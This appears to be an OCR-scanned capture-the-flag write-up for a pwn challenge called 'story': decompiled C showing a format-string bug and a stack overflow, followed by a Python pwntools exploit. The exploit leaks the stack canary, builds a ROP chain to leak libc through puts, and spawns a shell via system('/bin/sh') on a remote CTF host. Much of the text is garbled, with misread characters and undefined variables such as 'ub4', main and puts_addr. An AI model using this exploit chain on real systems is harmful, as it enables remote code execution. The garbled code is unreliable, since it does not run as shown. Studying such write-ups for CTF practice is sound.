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10 & Ul F5* kd B stack -+ I & >tack
| _inte4 __ fastcall main(__int64 al, char
{

char *ptr; // ST18 8
char *v4; [/ ST20_8

setbuf(stdin, ©LL);

setbuf(stdout, eLL);

ptr = sub_400915();

v4d = sub_4ee9a8();

puts(“Thank you for you share!!");
free(ptr);

free(vd);

return 6LL;
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lichar *sub_400915()
2
3| char *v@; // STO8_8

4 char s; // [rsp+l6h] [rbp-46h]

5| unsigned __inté4 v3; // [rsp+48h] [rbp-8h]
6

7

8

v3 = __readfsqword(@x28u);
printf("Please Tell Your ID:");

9| sub_4eeABE((__inte64)&s, ©ex32ulLL);
18| ve = strdup(&s);

11| printf("Hello ", 56LL);

12| printf(&s )qmm——

13| putchar(10);

14| return ve;
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llchar *sub_4809A8()

2

3| __inte4 v1; // [rsp+8h] [rbp-A8h]

4 char s; // [rsp+l6h] [rbp-96h]

5| unsigned __inté64 v3; // [rsp+98h] [rbp-8h]
6

7| v3 = __readfsqword(ex28u);

8| puts("Tell me the size of your story:");

9| vl = sub_4eeas4();

10| if (vi< @)

11 vl = -vl;

12| if ( vi > 128 )

13 vl = 1824LL;

14| puts("You can speak your story:");

15| sub_4@0ABE(( int64)&s, V1) Memmmmm—
16| return strdup(&s);




liunsigned __int64 _ fastcall sub_4@6ABE(__int64 al, unsigned __int64 a2)
2i{
3| char buf; // [rsp+1Fh] [rbp-11h]

4/ unsigned __inté64 i; // [rsp+2@h] [rbp-18h]
5| unsigned __int64 v5; // [rsp+28h] [rbp-8h]
6

7

8

v = __readfsqword(©x28u);

for ( 1 = OLL; 1 < 32; ++i )

o {

1@ buf = 8;

11 if ( (signed int)read(e, &buf, 1ulLL) < @ )

12 {

13 puts("Read error!!\n");

14 exit(1);

15 }

16 *(_BYTE *)(i + al) = buf; < ————m———
17 if ( buf == "\n" )

18 break;

19| }

20| *(_BYTE *)(al + i) = e;
21| return __readfsgword(@x28u) ~ v5;
22[}
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# -*- coding:utf-8 -*-

from pwn import *

from LibcSearcher import LibcSearcher
context(os="linux"', arch="'amdé4', log level='debug')
p=remote("ctfl.linkedbyx.com",10025)

elf = ELF("./story")

pop_rdi=0x0000000000400bd3

read_got=elf.got["read"]

p.sendlineafter("ID:","%15%p" )#t#E H canary/d
p.recvuntil("Hello ")
s=int(p.recvuntil("00"),16)

p.sendlineafter("Tell me the size of your story:\n",str(129))#yichu

pay = "a"*136+p64(s)+"a"*8+p64(pop_rdi)

pay+=p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(main)

p.sendlineafter("can speak your story:\n",pay)
ub4(p.recv(6).ljust(8, "\x00"))

print hex(puts_addr)

libc = LibcSearcher("puts" , puts_addr)

libc_base = puts_addr - libc.dump("puts")

system = libc_base + libc.dump("system")

str_bin_sh = libc_base + libc.dump("str_bin_sh")

p.sendlineafter("ID:","%15%p")#t#E Hcanaryld
p.recvuntil("Hello ")
s=int(p.recvuntil("00"),16)

print hex(s)

p.sendlineafter("Tell me the size of your story:\n",str(129))#yichu
pay = "a"*136+p64(s)+"a"*8+p64(pop_rdi)
pay+=p64(str_bin_sh)+p64(system)

p.sendlineafter("You can speak your story:\n",pay)

p.interactive()
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